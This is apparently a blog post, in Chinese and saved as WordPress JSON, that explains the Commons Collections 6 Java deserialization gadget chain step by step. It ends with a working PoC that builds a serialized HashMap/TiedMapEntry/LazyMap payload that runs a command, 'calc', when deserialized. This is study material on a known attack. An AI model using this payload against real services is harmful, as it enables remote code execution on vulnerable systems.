{"id":180,"date":"2026-03-22T15:20:47","date_gmt":"2026-03-22T07:20:47","guid":{"rendered":"https:\/\/arknight.wiki\/?p=180"},"modified":"2026-03-22T15:20:47","modified_gmt":"2026-03-22T07:20:47","slug":"cc6","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/22\/cc6\/","title":{"rendered":"CC6"},"content":{"rendered":"

CC6\uff1a<\/h1>\n

\u7248\u672c\u8981\u6c42\uff1a<\/p>\n

JDK \u2264 8u76<\/p>\n

CommonsCollections <= 3.2.1<\/p>\n

\u5728cc1\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u4e86AnnotationInvocationHandler\u7c7b\u7684invoke\u65b9\u6cd5\u53ef\u4ee5\u89e6\u53d1LazyMap\u7684get\u65b9\u6cd5\uff0c\u4f46\u5176\u5b9eTiedMapEntry\u7c7b\u7684getvalue\u65b9\u6cd5\u4e5f\u53ef\u4ee5\u89e6\u53d1\u3002<\/p>\n

LazyMap\uff1a<\/h3>\n

\u6211\u4eec\u5148\u6765\u770bLazyMap\u7c7b\u3002<\/p>\n

\"\"<\/div><\/p>\n
    public Object get(Object key) {\n        \/\/ create value for key if key is not currently in the map\n        if (map.containsKey(key) == false) {\n            Object value = factory.transform(key);\n            map.put(key, value);\n            return value;\n        }\n        return map.get(key);\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u8981\u5728key\u4e3a\u7a7a\u7684\u60c5\u51b5\u4e0b\u624d\u80fd\u8c03\u7528transform\u65b9\u6cd5\u3002<\/p>\n
\u540c\u65f6\uff1a<\/p>\n
    public static Map decorate(Map map, Transformer factory) {\n        return new LazyMap(map, factory);\n    }<\/code><\/pre>\n
decorat\u53ef\u63a7\uff0c\u5b83\u4f1a\u8c03\u7528\u6784\u9020\u65b9\u6cd5\uff0c\u8bf4\u660emap\u4e5f\u662f\u53ef\u63a7\u7684\u3002<\/p>\n
\u518d\u6765\u770b\u8c01\u8c03\u7528\u4e86get\u65b9\u6cd5\u3002<\/p>\n
TiedMapEntry\uff1a<\/h3>\n
\"\"<\/div><\/p>\n
    public Object getValue() {\n        return map.get(key);\n    }<\/code><\/pre>\n
\u4ece\u8fd9\u91cc\u53ef\u4ee5\u770b\u5230\uff0cTiedMapEntry\u7c7b\u7684getValue\u8c03\u7528\u4e86get\u65b9\u6cd5\uff0c\u4e14map\u7531\u516c\u5171\u7684\u6784\u9020\u65b9\u6cd5\u4f20\u5165\uff0c\u4e5f\u662f\u53ef\u63a7\u7684\u3002\u4f20\u5165LazyMap\u5373\u53ef<\/p>\n
\"\"<\/div><\/p>\n
    public TiedMapEntry(Map map, Object key) {\n        super();\n        this.map = map;\n        this.key = key;\n    }<\/code><\/pre>\n
\u90a3\u4e48\u518d\u770b\u8c01\u8c03\u7528\u4e86getValue\u3002<\/p>\n
\"\"<\/div><\/p>\n
    public int hashCode() {\n        Object value = getValue();\n        return (getKey() == null ? 0 : getKey().hashCode()) ^\n               (value == null ? 0 : value.hashCode()); \n    }<\/code><\/pre>\n
TiedMapEntry\u81ea\u5df1\u7684hashCode\u65b9\u6cd5\u5c31\u4f1a\u8c03\u7528\u3002<\/p>\n
\u7ee7\u7eed\u8ddf\u8fdb<\/p>\n
HashMap\uff1a<\/h3>\n
\"\"<\/div><\/p>\n
\u8fd9\u91cc\u53ef\u4ee5\u770b\u5230HashMap\u7684hash\u65b9\u6cd5\u4f1a\u8c03\u7528key\u7684hashCode\u65b9\u6cd5\u3002\u67e5\u9605\u522b\u4eba\u7684\u535a\u5ba2\u77e5\u9053\uff0c\u8fd9\u4e2akey\u53ef\u901a\u8fc7put\u8bbe\u5b9a\uff0c\u4e5f\u662f\u53ef\u63a7\u7684\u3002<\/p>\n
\u518d\u770b\u770b\u54ea\u91cc\u6709\u5bf9hash\u7684\u8c03\u7528\uff1a<\/p>\n
\"\"<\/div><\/p>\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u53cd\u5e8f\u5217\u5316\u5c31\u4f1a\u89e6\u53d1\u5bf9\u4e00\u4e2akey\u7684hash()\u3002\u90a3\u4e48\u6211\u4eec\u7684\u6784\u9020\u94fe\u4e5f\u5927\u4f53\u5b8c\u6210\u4e86\u3002<\/p>\n
HashMap.readObject()\nHashMap.hash()+\n    TiedMapEntry.hashCode()\n    TiedMapEntry.getValue()\n        LazyMap.get()\n            ChainedTransformer.transform()\n                InvokerTransformer.transform()\n                    Method.invoke()\n                        Runtime.exec()\n<\/code><\/pre>\n
\u4e0d\u8fc7\u8fd8\u6709\u4e00\u4e9b\u7ec6\u8282\u7684\u5730\u65b9\u9700\u8981\u5904\u7406\u3002<\/p>\n
put\u63d0\u524d\u89e6\u53d1\u7a0b\u5e8f\uff1a<\/h3>\n
\"\"<\/div><\/p>\n
\u8fd9\u4e2a\u5730\u65b9\u7528put\u8bbe\u5b9akey\u7684\u65f6\u5019\u4f1a\u63d0\u524d\u8fdb\u884c\u6d41\u7a0b\u3002\u901a\u8fc7\u7ffb\u9605\u535a\u5ba2\u6211\u4eec\u53d1\u73b0\u4e00\u4e2a\u601d\u8def\uff1a\u5148\u7528\u4e00\u4e2a\u5176\u4ed6\u7684transformer\u6784\u5efa\uff0c\u6700\u540e\u518d\u7528\u53cd\u5c04\u6539\u56de\u6765\u3002\u540e\u9762\u770b\u6700\u7ec8\u7684poc\u5c31\u77e5\u9053\u4e86\u3002<\/p>\n
\u8c03\u7528get\u65b9\u6cd5\u53c2\u6570\u975e\u7a7a\uff1a<\/h3>\n
\u4e4b\u524d\u6211\u4eec\u77e5\u9053\uff0cLazyMap\u7684get\u65b9\u6cd5\u53ea\u6709\u5728\u63a5\u53d7\u7684\u53c2\u6570\u4e3a\u7a7a\u7684\u65f6\u5019\u624d\u4f1a\u8c03\u7528transform\u3002\u53ef\u662f\u6211\u4eec\u770bTiedMapEntry\u7684getValue\u65b9\u6cd5\uff1a<\/p>\n
\"\"<\/div><\/p>\n
\u8fd9\u91cc\u5b83\u4f20\u7ed9get\u4e00\u4e2akey\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u624b\u52a8\u5c06lazy\u91cc\u9762\u7684key\u79fb\u9664\u3002<\/p>\n
poc\uff1a<\/h3>\n
\u6240\u4ee5\u6700\u540e\u7684poc\uff1a<\/p>\n
package org.example;\n\nimport org.apache.commons.collections.Factory;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class cc6 {\n    public static void main(String[] args) throws Exception{\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}),\n                new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}),\n        };\n        ChainedTransformer chain = new ChainedTransformer(transformers);\n        Map<Object,Object> lazy = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(\"a\"));\n        TiedMapEntry tme = new TiedMapEntry(lazy,\"b\");\n        HashMap<Object,Object> hp = new HashMap<>();\n        hp.put(tme,\"c\");\n        lazy.remove(\"b\");\n        Class<LazyMap> lazy2 = LazyMap.class;\n        Field ft = lazy2.getDeclaredField(\"factory\");\n        ft.setAccessible(true);\n        ft.set(lazy,chain);\n        serialize(hp);\n        unserialize(\"test.txt\");\n    }\n    public static void serialize(Object object) throws Exception{\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"test.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws Exception{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
CC6\uff1a \u7248\u672c\u8981\u6c42\uff1a JDK \u2264 8u76 CommonsCollections <= 3.2.1 \u5728c […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-180","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/180","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=180"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/180\/revisions"}],"predecessor-version":[{"id":189,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/180\/revisions\/189"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=180"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}